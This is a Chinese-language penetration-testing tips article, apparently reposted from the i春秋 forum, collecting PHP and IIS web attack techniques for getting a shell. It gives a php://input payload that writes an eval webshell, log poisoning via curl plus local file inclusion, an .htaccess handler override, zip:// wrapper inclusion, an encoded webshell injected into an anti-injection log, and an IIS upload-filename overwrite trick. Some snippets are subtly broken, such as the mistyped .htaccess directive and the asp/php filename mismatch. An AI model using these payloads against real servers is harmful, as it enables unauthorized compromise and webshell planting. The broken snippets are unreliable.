Author: Binghe@i春秋

前言:

总结下渗透测试中的一些小技巧,仅做总结。

目录:

0x01 php文件包含姿势
0x02 .htaccess文件突破黑名单解析
0x03 php流封装绕过截断
0x04 通用防注入系统getshell
0x05 iis+php黑名单上传突破

正文

0x01 php文件包含姿势

其实这类姿势国外黑阔早有总结:

  • includinguploaded files -straight forward method; this requires existence of an upload functionality inthe tested website (e.g. photo upload, or document upload), access to uploadfunctionality and storage of uploaded files in a place accessible by the PHPscript 
 (如果网站存在文件上传功能,比如前台传头像之类,可以尝试包含上传的文件,当然文件可控。)

  • include data://or php://input pseudo protocols - these protocols must be enabled andaccessible via include (allowurlinclude set to on); also, php://filter pseudo protocol is usable in somecases 
 (利用php封装协议php://input和data://,包含post数据造成php命令执行,当然allowurlinclude选项需要打开)

  • including logs - this required PHP script to be ableto access certain types of logs, e.g. httpd server error logs or access logs;also, size of these logs might make the attack harder (e.g. if error log has2GB) (因为包含的可以是任意文件,log文件也是可以,当我们提交恶意代码时也会被记录,于是包含记录了恶意代码的log文件是个好主意)

  • including /proc/self/environ - this requires PHP to be run as CGIon a 
system that hasthe /proc pseudo-filesystem and PHP script is required to have access to theaforementioned pseudo-file
    (包含/proc/self/environ文件: 这需要PHP运行作为一个具有cgion
/proc伪文件的系统且PHP脚本有权访问这些伪文件)

  • include session files - this requires the attacker to beable to influence the value of any string in a session (to inject code, e.g.), the sessions must be stored in a serializedsession file (as e.g. x| s:19:""; - this isthe default setting for PHP) and the PHP script must be able to access thesession file (usually names /tmp/ sessSESSIONID) (包含会话文件-这需要攻击者能控制会话中的任何字符串值(注入代码,例如phpinfo()),会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是/tmp/ sessSESSIONID文件)

  • include other files created by PHPapplication - thisis very application and system specific, but it basically describes any otherfile that is created the websites functionality and the way it works, e.g.database files, cache files, application-level logs, etc Additional toolsincluded both the poison nul byte (addressed in PHP 5.3.4[1] released2010-12-09) and excessive slash (/) suffix into path truncation bug[2] (patchedin 2009).

(包含其他由php应用创建的文件,只要你能想到的,都可以尝试创建 然后包含他,比如数据库文件,缓存文件,应用程序级别的日志)

我们来主要说下第二种和第三种姿势 php://input属于php内置的封装协议,其实都主要是include()函数处理不当
这里我们准备一个有文件包含的php文件

<?php  
  include($_GET['url']);
 ?>

我们访问 http://127.0.0.1/111332.php?url=php://input 然后我们通过POST提交php代码。 黑阔可利用此写入一句话木马:

<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>  

同理,提交:

<?php system("net user")?>  

可成功通过system函数成功执行命令。

第三种姿势也是比较巧妙:

包含日志文件getshell(需要一定读权限)

首先找到日志文件存放位置,利用文件包含漏洞去读取
apache 日志默认在
/etc/httpd/logs/access_log


也可以先找apache配置文件,通过任意文件读取漏洞配置文件找到日志路径
/etc/httpd/conf/httpd.conf

让日志文件插入php代码 


方法一 
使用burpsuit抓包访问 ,绕过浏览器编码<>

方法二 
curl 访问不存在的url

curl http://192.168.192.1/a.php?=<?php phpinfo(); ?>  

如此,php代码就被写到log里面了 包含一下日志:

http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log

0x02 .htaccess文件突破黑名单解析

因为是黑名单,自定义.htaccess上传,下面是内容


<FileMatch “test.jpg”>  
SetHandler application/x-httpd-php  
</FileMatch>  

同目录下,上传一个test.jpg文件,没有扩展名,内容是一句话,这个时候就成功绕过。

0x03 php流封装绕过截断

思路源于王松童鞋 @王松_striker 思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3

Example #3 Zip 流封装,读取一个OpenOffice 文件的元信息

<?php  
$reader = new XMLReader();
 
$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {  
    if ($reader->nodeType == XMLREADER::ELEMENT) {
        $elm = $reader->name;
    } else {
        if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
            break;
        }
        if (!trim($reader->value)) {
            continue;
        }
        $odt_meta[$elm] = $reader->value;
    }
}
print_r($odt_meta);  
?>

此例使用了旧的 API(PHP 4),它打开了一个 ZIP 文件归档,读取归档里的每个文件,并输出文件内容。此例用到的 test2.zip 文档是 ZZIPlib 源分布里测试文档中的一个。 假设存在文件包含的代码为:

<?php  
  
$a = $_GET['file'];
  
include $a.'.html.php';  

但是我们%00无法截断, 只能包含 xxxx.html.php 首先我们新建一个hello.html.php,内容为phpinfo();

然后压缩成zip,结构如下图:

然后访问如下网址,成功包含压缩文件内的hello.html.php http://localhost/test/blog.php?file=zip://test.zip%23hello

如图:

把我们输入的变量和include后面的变量合起来就是 zip://test.zip#hello.html.php

代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。

0x04 通用防注入系统getshell

相信许多朋友渗透测试都遇到过这种情况

系统做了数据提交记录,我们通过阅读类似程序的源码得知数据记录在sqlin.asp

于是想到直接提交一句话木马。但是没有成功

┼攠數畣整爠煥敵瑳∨≡┩愾           密码 a  (加密方式是:ANSI->Unicode)

提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾

菜刀连接sqlin.php即可

0x05 iis+php黑名单上传突破

环境: php+window+iis

局限: 文件上传黑名单机制,略显鸡肋

科普: 在php+window+iis环境下:

双引号(“>”) <> 点号(“.”)’;

大于符号(“>”) <> 问号(“?”)’;

小于符号(“<“) <==> 星号(“*”)’;

有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋.

不过P牛已经给出完美利用的方法:

思路如下:

首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..

可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?

别急,办法总是有的..

我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 等..

对!有的人可能还会用冒号(“:”)去截断,如:bypass.php:jpg

但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵说到这里明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.

按照上面提供的思路,实现..

本地测试地址:http://.../upfile.php 环境:Windows+IIS7.5

1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图

点击forward后,可以看见成功生成空白的bypass.php文件

2)利用上面的系统特性覆盖该文件
从上面已经知道“<” 就等于 “”,而””代码任意字符,于是乎..

我们可以这样修改上传的文件名,如下:

------WebKitFormBoundaryaaRARrn2LBvpvcwK</pre>
Content-Disposition: form-data; name="file"; filename="bypass.<<<"  
  
Content-Type: image/jpeg  
  
//注意!文件名为:bypass.<<<

点击go..,即可成功覆盖bypass.php文件,如图

对比上面的两个图,bypass.php被我们成功的写入了内容..

参考资料:乌云知识库 binghesec Phithon 王松

原文地址:http://bbs.ichunqiu.com/thread-14031-1-1.html?from=seebug